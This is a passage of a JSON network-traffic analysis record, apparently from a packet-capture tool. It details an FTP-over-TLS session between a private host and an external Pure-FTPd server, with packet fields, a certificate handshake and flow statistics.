1777213883.009485, \"packets\": [{\"packet_number\": 53, \"timestamp\": 1777213870.011506, \"timestamp_iso\": \"2026-04-26T20:01:10.011506\", \"timestamp_human\": \"2026-04-26 20:01:10.011\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"91.213.188.9\", \"ttl\": 128, \"ip_id\": 56414, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50578, \"dst_port\": 21, \"tcp_seq\": 4242042959, \"tcp_ack\": 0, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 55, \"timestamp\": 1777213870.0117, \"timestamp_iso\": \"2026-04-26T20:01:10.011700\", \"timestamp_human\": \"2026-04-26 20:01:10.011\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"91.213.188.9\", \"ttl\": 128, \"ip_id\": 56415, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50578, \"dst_port\": 21, \"tcp_seq\": 4242042960, \"tcp_ack\": 4028115493, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 57, \"timestamp\": 1777213880.775728, \"timestamp_iso\": \"2026-04-26T20:01:20.775728\", \"timestamp_human\": \"2026-04-26 20:01:20.775\", \"size\": 64, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"91.213.188.9\", \"ttl\": 128, \"ip_id\": 56416, \"ip_len\": 50, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50578, \"dst_port\": 21, \"tcp_seq\": 4242042960, \"tcp_ack\": 4028115813, \"tcp_window\": 1025, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 10, \"payload_preview\": \"4155544820544c530d0a\", \"payload_ascii\": \"AUTH TLS\\r\\n\"}, {\"packet_number\": 60, \"timestamp\": 1777213881.220781, \"timestamp_iso\": \"2026-04-26T20:01:21.220781\", \"timestamp_human\": \"2026-04-26 20:01:21.220\", \"size\": 231, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"91.213.188.9\", \"ttl\": 128, \"ip_id\": 56417, \"ip_len\": 217, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50578, \"dst_port\": 21, \"tcp_seq\": 4242042970, \"tcp_ack\": 4028115831, \"tcp_window\": 1025, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 177, \"payload_preview\": \"16030300ac010000a8030369d776ed8561b0aa62d9d4331996034bbe4e4cc598bb473af9aaa4039eec9fd800002ac02cc02bc030c02f009f009ec024c023c028c027c00ac009c014c013009d009c003d003c0035002f000a0100005500000014001200000f6674702e68656e66727569742e726f000a00080006001d00170018000b00020100000d001a00180804080508060401050102010403050302030202060106030023000000170000ff01000100\", \"payload_ascii\": \"\\u0016\\u0003\\u0003\\u0000\\u0001\\u0000\\u0000\\u0003\\u0003ivab3\\u0019\\u0003KNLG:\\u0003\\u0000\\u0000*,+0/\\u0000\\u0000$#('\\n\\t\\u0014\\u0013\\u0000\\u0000\\u0000=\\u0000<\\u00005\\u0000/\\u0000\\n\\u0001\\u0000\\u0000U\\u0000\\u0000\\u0000\\u0014\\u0000\\u0012\\u0000\\u0000\\u000fftp.henfruit.ro\\u0000\\n\\u0000\\b\\u0000\\u0006\\u0000\\u001d\\u0000\\u0017\\u0000\\u0018\\u0000\\u000b\\u0000\\u0002\\u0001\\u0000\\u0000\\r\\u0000\\u001a\\u0000\\u0018\\b\\u0004\\b\\u0005\\b\\u0006\\u0004\\u0001\\u0005\\u0001\\u0002\\u0001\\u0004\\u0003\\u0005\\u0003\\u0002\\u0003\\u0002\\u0002\\u0006\\u0001\\u0006\\u0003\\u0000#\\u0000\\u0000\\u0000\\u0017\\u0000\\u0000\\u0001\\u0000\\u0001\\u0000\"}, {\"packet_number\": 63, \"timestamp\": 1777213881.620002, \"timestamp_iso\": \"2026-04-26T20:01:21.620002\", \"timestamp_human\": \"2026-04-26 20:01:21.620\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"91.213.188.9\", \"ttl\": 128, \"ip_id\": 56418, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50578, \"dst_port\": 21, \"tcp_seq\": 4242043147, \"tcp_ack\": 4028118838, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 64, \"timestamp\": 1777213881.660193, \"timestamp_iso\": \"2026-04-26T20:01:21.660193\", \"timestamp_human\": \"2026-04-26 20:01:21.660\", \"size\": 147, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"91.213.188.9\", \"ttl\": 128, \"ip_id\": 56419, \"ip_len\": 133, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50578, \"dst_port\": 21, \"tcp_seq\": 4242043147, \"tcp_ack\": 4028118838, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 93, \"payload_preview\": \"1603030025100000212029299fb24769f840d7c1d6e44c95c36826efdd8164b71a64738ced6dd24e0c1d14030300010116030300280000000000000000aab233e3f23bb240c389cd0b99d959ffaa788ca37d1904396c69cf860278b17d\", \"payload_ascii\": \"\\u0016\\u0003\\u0003\\u0000%\\u0010\\u0000\\u0000! ))Gi@Lh&d\\u001adsmN\\f\\u001d\\u0014\\u0003\\u0003\\u0000\\u0001\\u0001\\u0016\\u0003\\u0003\\u0000(\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u00003;@\\u000bYx}\\u0019\\u00049li\\u0002x}\"}, {\"packet_number\": 67, \"timestamp\": 1777213882.099332, \"timestamp_iso\": \"2026-04-26T20:01:22.099332\", \"timestamp_human\": \"2026-04-26 20:01:22.099\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"91.213.188.9\", \"ttl\": 128, \"ip_id\": 56420, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50578, \"dst_port\": 21, \"tcp_seq\": 4242043240, \"tcp_ack\": 4028118889, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 68, \"timestamp\": 1777213882.174321, \"timestamp_iso\": \"2026-04-26T20:01:22.174321\", \"timestamp_human\": \"2026-04-26 20:01:22.174\", \"size\": 108, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"91.213.188.9\", \"ttl\": 128, \"ip_id\": 56421, \"ip_len\": 94, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50578, \"dst_port\": 21, \"tcp_seq\": 4242043240, \"tcp_ack\": 4028118889, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 54, \"payload_preview\": \"170303003100000000000000018264e28fc05a14fa82a0a03a18112e2786e4b3fec343485366b3e5a74e8d280e456e30cfc18ede5a64\", \"payload_ascii\": \"\\u0017\\u0003\\u0003\\u00001\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0001dZ\\u0014:\\u0018\\u0011.'CHSfN(\\u000eEn0Zd\"}, {\"packet_number\": 71, \"timestamp\": 1777213882.551986, \"timestamp_iso\": \"2026-04-26T20:01:22.551986\", \"timestamp_human\": \"2026-04-26 20:01:22.551\", \"size\": 103, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"91.213.188.9\", \"ttl\": 128, \"ip_id\": 56422, \"ip_len\": 89, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50578, \"dst_port\": 21, \"tcp_seq\": 4242043294, \"tcp_ack\": 4028118969, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 49, \"payload_preview\": \"170303002c00000000000000024697a11739fd827fa1ddd4e7db2893a2e3643212121344c653a6516f909c23ada799a362\", \"payload_ascii\": \"\\u0017\\u0003\\u0003\\u0000,\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0002F\\u00179\\u007f(d2\\u0012\\u0012\\u0013DSQo#b\"}, {\"packet_number\": 75, \"timestamp\": 1777213882.998523, \"timestamp_iso\": \"2026-04-26T20:01:22.998523\", \"timestamp_human\": \"2026-04-26 20:01:22.998\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"91.213.188.9\", \"ttl\": 128, \"ip_id\": 56423, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50578, \"dst_port\": 21, \"tcp_seq\": 4242043343, \"tcp_ack\": 4028119044, \"tcp_window\": 1025, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 76, \"timestamp\": 1777213883.009485, \"timestamp_iso\": \"2026-04-26T20:01:23.009485\", \"timestamp_human\": \"2026-04-26 20:01:23.009\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"91.213.188.9\", \"ttl\": 128, \"ip_id\": 56424, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50578, \"dst_port\": 21, \"tcp_seq\": 4242043343, \"tcp_ack\": 4028119044, \"tcp_window\": 1025, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 10, \"PSH\": 5, \"FIN\": 1}, \"packet_sizes\": [66, 54, 64, 231, 54, 147, 54, 108, 103, 54, 54], \"inter_packet_intervals\": [0.0001938343048095703, 10.764028072357178, 0.4450531005859375, 0.39922094345092773, 0.040190935134887695, 0.43913912773132324, 0.07498884201049805, 0.37766504287719727, 0.4465370178222656, 0.01096200942993164], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 12.997978925704956, \"avg_packet_size\": 89.9090909090909, \"packets_per_second\": 0.8462854158230916, \"bytes_per_second\": 76.08875238627614, \"min_packet_size\": 54, \"max_packet_size\": 231, \"median_packet_size\": 64, \"avg_interval\": 1.2997978925704956, \"min_interval\": 0.0001938343048095703, \"max_interval\": 10.764028072357178}, {\"source\": \"91.213.188.9\", \"target\": \"192.168.122.168\", \"packet_count\": 14, \"total_bytes\": 4318, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ports\": [21], \"dst_ports\": [50578], \"first_packet\": 1777213870.011559, \"last_packet\": 1777213883.009517, \"packets\": [{\"packet_number\": 54, \"timestamp\": 1777213870.011559, \"timestamp_iso\": \"2026-04-26T20:01:10.011559\", \"timestamp_human\": \"2026-04-26 20:01:10.011\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"91.213.188.9\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 21, \"dst_port\": 50578, \"tcp_seq\": 4028115492, \"tcp_ack\": 4242042960, \"tcp_window\": 42340, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 56, \"timestamp\": 1777213880.775338, \"timestamp_iso\": \"2026-04-26T20:01:20.775338\", \"timestamp_human\": \"2026-04-26 20:01:20.775\", \"size\": 374, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"91.213.188.9\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 37367, \"ip_len\": 360, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 21, \"dst_port\": 50578, \"tcp_seq\": 4028115493, \"tcp_ack\": 4242042960, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 320, \"payload_preview\": \"3232302d2d2d2d2d2d2d2d2d2d2057656c636f6d6520746f20507572652d46545064205b707269767365705d205b544c535d202d2d2d2d2d2d2d2d2d2d0d0a3232302d596f75206172652075736572206e756d6265722031206f6620353020616c6c6f7765642e0d0a3232302d4c6f63616c2074696d65206973206e6f772031373a33312e2053657276657220706f72743a2032312e0d0a3232302d54686973206973206120707269766174652073797374656d202d204e6f20616e6f6e796d6f7573206c6f67696e0d0a3232302d4950763620636f6e6e656374696f6e732061726520616c736f2077656c636f6d65206f6e2074686973207365727665722e0d0a32323020596f752077696c6c20626520646973636f6e6e6563746564206166746572203135206d696e75746573206f6620696e61637469766974792e0d0a\", \"payload_ascii\": \"220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------\\r\\n220-You are user number 1 of 50 allowed.\\r\\n220-Local time is now 17:31. Server port: 21.\\r\\n220-This is a private system - No anonymous login\\r\\n220-IPv6 connections are also welcome on this server.\\r\\n220 You will be disconnected after 15 minutes of inactivity.\\r\\n\"}, {\"packet_number\": 58, \"timestamp\": 1777213880.775759, \"timestamp_iso\": \"2026-04-26T20:01:20.775759\", \"timestamp_human\": \"2026-04-26 20:01:20.775\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"91.213.188.9\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 37368, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 21, \"dst_port\": 50578, \"tcp_seq\": 4028115813, \"tcp_ack\": 4242042970, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 59, \"timestamp\": 1777213881.206814, \"timestamp_iso\": \"2026-04-26T20:01:21.206814\", \"timestamp_human\": \"2026-04-26 20:01:21.206\", \"size\": 72, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"91.213.188.9\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 37369, \"ip_len\": 58, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 21, \"dst_port\": 50578, \"tcp_seq\": 4028115813, \"tcp_ack\": 4242042970, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 18, \"payload_preview\": \"323334204155544820544c53204f4b2e0d0a\", \"payload_ascii\": \"234 AUTH TLS OK.\\r\\n\"}, {\"packet_number\": 61, \"timestamp\": 1777213881.220806, \"timestamp_iso\": \"2026-04-26T20:01:21.220806\", \"timestamp_human\": \"2026-04-26 20:01:21.220\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"91.213.188.9\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 37370, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 21, \"dst_port\": 50578, \"tcp_seq\": 4028115831, \"tcp_ack\": 4242043147, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 62, \"timestamp\": 1777213881.619811, \"timestamp_iso\": \"2026-04-26T20:01:21.619811\", \"timestamp_human\": \"2026-04-26 20:01:21.619\", \"size\": 3061, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"91.213.188.9\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 37371, \"ip_len\": 3047, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 21, \"dst_port\": 50578, \"tcp_seq\": 4028115831, \"tcp_ack\": 4242043147, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 3007, \"payload_preview\": \"16030300610200005d03035c3313dfa372b61d71f09bfb417f88aa783e94f94d3d0f12444f574e4752440120c79950c4ffecfb23ece144d6788e483b61e8fa91f3553d0fbdf58fd9b16571cfc030000015ff0100010000000000000b000403000102001700001603030a1a0b000a16000a1300050430820500308203e8a003020102021205c83f59e5641d6aa578c69b64f2a2ee74e9300d06092a864886f70d01010b05003033310b300906035504061302555331163014060355040a130d4c6574277320456e6372797074310c300a06035504031303523133301e170d3236303333313037313434355a170d3236303632393037313434345a301e311c301a060355040313136d67682d776562392e6d6167686f73742e726f30820122300d06092a864886f70d01010105000382010f003082010a0282010100dbc6558fb97b570afacd60e3b550c1da041130084570c7f74d805c29474c08d82bc1dd47f8d10edf1ae176c0f3ef7d7aff7b97949532be5af3474c30a357c01d78cd6ce6f82abe7c75424b219321d06453be18504165ceca7242668de450e68800d7a16cd0e9f2b02eca91207115535e19725f595afd4d260b88d84bc6876f85129d7ca937addd78b54e5568f731ee44ca1a4464064288ced427ef5f2e272be4ea828067cd59f6edc649e5f0b03448d24468f150db95bcf66ef6a0a5db43711486856a25070a68e610688a802931a14f628b8df07124a9b63d5e598ce313c5b3c108b5d737b91623582bc22e7a40ac85d306518e98d0b44ea5908b04865d9ae30203010001a38202213082021d300e0603551d0f0101ff0404030205a030130603551d25040c300a06082b06010505070301300c0603551d130101ff04023000301d0603551d0e04160414c5fd3e2a7339235293cf660b6dcd40e9749406d0301f0603551d23041830168014e7ab9f0f2c33a053d35e4f78c8b2840e3bd69233303306082b0601050507010104273025302306082b060105050730028617687474703a2f2f7231332e692e6c656e63722e6f72672f301e0603551d110417301582136d67682d776562392e6d6167686f73742e726f30130603551d20040c300a3008060667810c010201302f0603551d1f042830263024a022a020861e687474703a2f2f7231332e632e6c656e63722e6f72672f3130362e63726c3082010b060a2b06010401d6790204020481fc0481f900f7007d00717e95f3c2388a6db1e384493d31e15aa96208762d4200e0050cd067b5a661e20000019d42f43bd70008000005000d1179a1040300463044022047527cc5a535abd72560c8fc9e9727fa6d12f5cee1f233d27d01366526c4a88b02201db12883af660eb1466b1df46765e46622a2ed5acf9fb0b559f62e8353c3c002007600d16ea9a568077e6635a03f37a5ddbc03a53c411214d48818f5e931b323cb95040000019d42f43c2e000004030047304502201a1c108d097707144c2870e8c5611876f36140668ae57eb316d8da01eda43dfc022100b28e4ff7be9a09a7bb4c5baa26e8f82a8d9f9f2e8cc561346bbcabcdbb1b4c53300d06092a864886f70d01010b050003820101005bd256800862784164e1353e7bba09adef7c1cbdf0648a599dcd20675b8dbebca99ca591ba347ca9729908e88333410cc8e638526b24806d41be99a7b16eee36e03412bc7899d6281def25b83cf06c57480be47f501aa4b7ac54b75fd3d96328ca11931c1b28f3e0d233f05f540b77cbf73a3b9fc01f105319b369345a916a7f3530af87320f2520e582cc7993bb665341ada86d18ac16a7dfee5fe6f22027a70d5e23d434c1ca5dfd742901c2d9ade1431c4785da212eadc0d02110ad90fd00beca6ad255c05280fcf07ab60334458e76197c8e7f0d40bcf492f40b34895516428b398926ce98d385c6ee5fe63715341fb6a573dba9620534892bbac25006c600050930820505308202eda00302010202105a00f212d8d4b480f3924157ea298305300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3234303331333030303030305a170d3237303331323233353935395a3033310b300906035504061302555331163014060355040a130d4c6574277320456e6372797074310c300a0603550403130352313330820122300d06092a864886f70d01010105000382010f003082010a0282010100a567708dd0568164151761cdb906d4ad19908c2650379816639254dbd9cc840593ecd3ec081ba0605143487d2bc748969eb42dda9dc8273b57a19fabf0d60ed40e30ca6f9bb1d1d6a49d323e584e356f4558687117fc3ed85d82a02fb2516cb01a5db859ce3565c88ba1af1037ffe39c5dc2491734ff8c2b8b8df0bc712c930c1d05c4bac7cdaac95e7cd1c901f79c03f6fc0a5df4da7be6db764270ebf44d22da00776fd6c95f17fdda752ea5570cf6ea5cb6e073a568cfa174e275827e109fc1f5a2eb01e938b10a44ccd3c289f54935820a34b31ce988c2474e820e0a36f0474f8af1290475dacde19a5cff5e9d9895ba9a43d04aa21705010430d332b38f0203010001a381f83081f5300e0603551d0f0101ff040403020186301d0603551d250416301406082b0601050507030206082b0601050507030130120603551d130101ff040830060101ff020100301d0603551d0e04160414e7ab9f0f2c33a053d35e4f78c8b2840e3bd69233301f0603551d2304183016801479b459e67bb6e5e40173800888c81a58f6e99b6e303206082b0601050507010104263024302206082b060105050730028616687474703a2f2f78312e692e6c656e63722e6f72672f30130603551d20040c300a3008060667810c01020130270603551d1f0420301e301ca01aa0188616687474703a2f2f78312e632e6c656e63722e6f72672f300d06092a864886f70d01010b0500038202010051375852a1229b35bb4dbaceca92ea09f2fb54ec187ff43bf4e1f97072c265e8207d08437289e593b2a087c6f4be2fbf5ee5aeec237c9ff50f7a0d6fa371beb5a5e2aebcadb614229c01c6c1cfd475b3b28096bdcee05c572aa81f70974d70c89d3fbc6be73768454c2764adfa94a7e1e77e5a40e9f228ec8a3bc4c85c04e3b86e956d0bb738e0f5f395e4f9ab83fcf159b46e2fe9340c10c71097a79c2b007a7edcdf93e6c7b8e9989fc7b60461727cf4ca3481bf2230e8bd5022ea640afd9204e0d3ff10c3de07d04322afeaba15e06d8485f13202c5a99a88f18c25021a2ca0f7b16f0ed9bf34ad8b49cf65c9b2b107bdc8dbe3f61b709a5a9befa40887095bb7d235bc182c4a75f86c5ed9c8cb68a6b2442a559da6d0f9b1a1b6f6f13b9cafbc412bb0adc2f3eb6fbf68b3bbb65cfdcee5ff5bfc7eba18dc91ae09515e5ad88c8d681982ff7f82359ff4a0bac75ae96bc0e82d7dd24c63535e58d76987538f81c7247d731da18464bd7c08cc64a26cb36f2ac6fcfa031bb809a0e644d6692bfa50ad7175ef25c25e49845a0bd2384672e99f6971b2c854419c915fe255eab400ea36a6483da78411232d2d2b676244434b485d8acac1706d8e81dba045785b37bf5b185518455bd9cb90ead0569a2b092d0ac9999fc150fcf6a49396772d2dc66721abe32ac294bb59c0d62534c9831d61ea4a47b9566e7c21771ddec289160303012c0c00012803001d20aee9a79671a650034f6c4728817d5ced772242641d8e69587c44f3c354eac24a08040100a79180cbb626c2a0422906f0d45361dff8fcfeaf9c85aa4bda15fbea6f76e954eb4ece5bcde7ee2a94dc313c4fe1c2a39f8d225333d8f9788398ef860689ada0fa4e40eea07226348fb94c6477eb99861364d3a8ef53a2deb13ecefb0132f97a76adfc0cb32cfb068775cd3510427babc20bcd20e9660418df2e5b3ec76b67bfc97b7bc452076751511c72f843ed2ba31dc36122fd9d6f14fedbc83bb33ddda8737a948af649189476cc09756c0bfb9b44d93c46b32426c23eb0011b38a32645fc81d167bc274e1474a200c93cde940d8c6ad320a4441e03f1118a9c16691e96d3e83a9a6f23d6e8e6ce2fb954a7c7dee1dfe879812eac864a3fc018e8ec0a7516030300040e000000\", \"payload_ascii\": \"\\u0016\\u0003\\u0003\\u0000a\\u0002\\u0000\\u0000]\\u0003\\u0003\\\\3\\u0013r\\u001dqA\\u007fx>M=\\u000f\\u0012DOWNGRD\\u0001 P#DxH;aU=\\u000feq0\\u0000\\u0000\\u0015\\u0001\\u0000\\u0001\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u000b\\u0000\\u0004\\u0003\\u0000\\u0001\\u0002\\u0000\\u0017\\u0000\\u0000\\u0016\\u0003\\u0003\\n\\u001a\\u000b\\u0000\\n\\u0016\\u0000\\n\\u0013\\u0000\\u0005\\u00040\\u0005\\u00000\\u0003\\u0003\\u0002\\u0001\\u0002\\u0002\\u0012\\u0005?Yd\\u001djxdt0\\r\\u0006\\t*H\\r\\u0001\\u0001\\u000b\\u0005\\u0000031\\u000b0\\t\\u0006\\u0003U\\u0004\\u0006\\u0013\\u0002US1\\u00160\\u0014\\u0006\\u0003U\\u0004\\n\\u0013\\rLet's Encrypt1\\f0\\n\\u0006\\u0003U\\u0004\\u0003\\u0013\\u0003R130\\u001e\\u0017\\r260331071445Z\\u0017\\r260629071444Z0\\u001e1\\u001c0\\u001a\\u0006\\u0003U\\u0004\\u0003\\u0013\\u0013mgh-web9.maghost.ro0\\u0001\\\"0\\r\\u0006\\t*H\\r\\u0001\\u0001\\u0001\\u0005\\u0000\\u0003\\u0001\\u000f\\u00000\\u0001\\n\\u0002\\u0001\\u0001\\u0000U{W\\n`P\\u0004\\u00110\\bEpM\\\\)GL\\b+G\\u000e\\u001av}z{2ZGL0W\\u001dxl*|uBK!!dS\\u0018PAerBfP\\u0000l. q\\u0015S^\\u0019r_YZM&\\u000bKo\\u0012|7xNUh1D\\u001aDd\\u0006B'_.'+gYI4HDhPnCq\\u0014j%\\u0007\\nh\\u0010h)1Obq$=^Y\\u0013\\b7\\u0016#X+.z@\\u0006QN\\u0004]\\u0002\\u0003\\u0001\\u0000\\u0001\\u0002!0\\u0002\\u001d0\\u000e\\u0006\\u0003U\\u001d\\u000f\\u0001\\u0001\\u0004\\u0004\\u0003\\u0002\\u00050\\u0013\\u0006\\u0003U\\u001d%\\u0004\\f0\\n\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0003\\u00010\\f\\u0006\\u0003U\\u001d\\u0013\\u0001\\u0001\\u0004\\u00020\\u00000\\u001d\\u0006\\u0003U\\u001d\\u000e\\u0004\\u0016\\u0004\\u0014>*s9#Rf\\u000bm@t\\u00060\\u001f\\u0006\\u0003U\\u001d#\\u0004\\u00180\\u0016\\u0014\\u000f,3S^Ox\\u000e;303\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0001\\u0001\\u0004'0%0#\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u00070\\u0002\\u0017http://r13.i.lencr.org/0\\u001e\\u0006\\u0003U\\u001d\\u0011\\u0004\\u00170\\u0015\\u0013mgh-web9.maghost.ro0\\u0013\\u0006\\u0003U\\u001d \\u0004\\f0\\n0\\b\\u0006\\u0006g\\f\\u0001\\u0002\\u00010/\\u0006\\u0003U\\u001d\\u001f\\u0004(0&0$\\\" 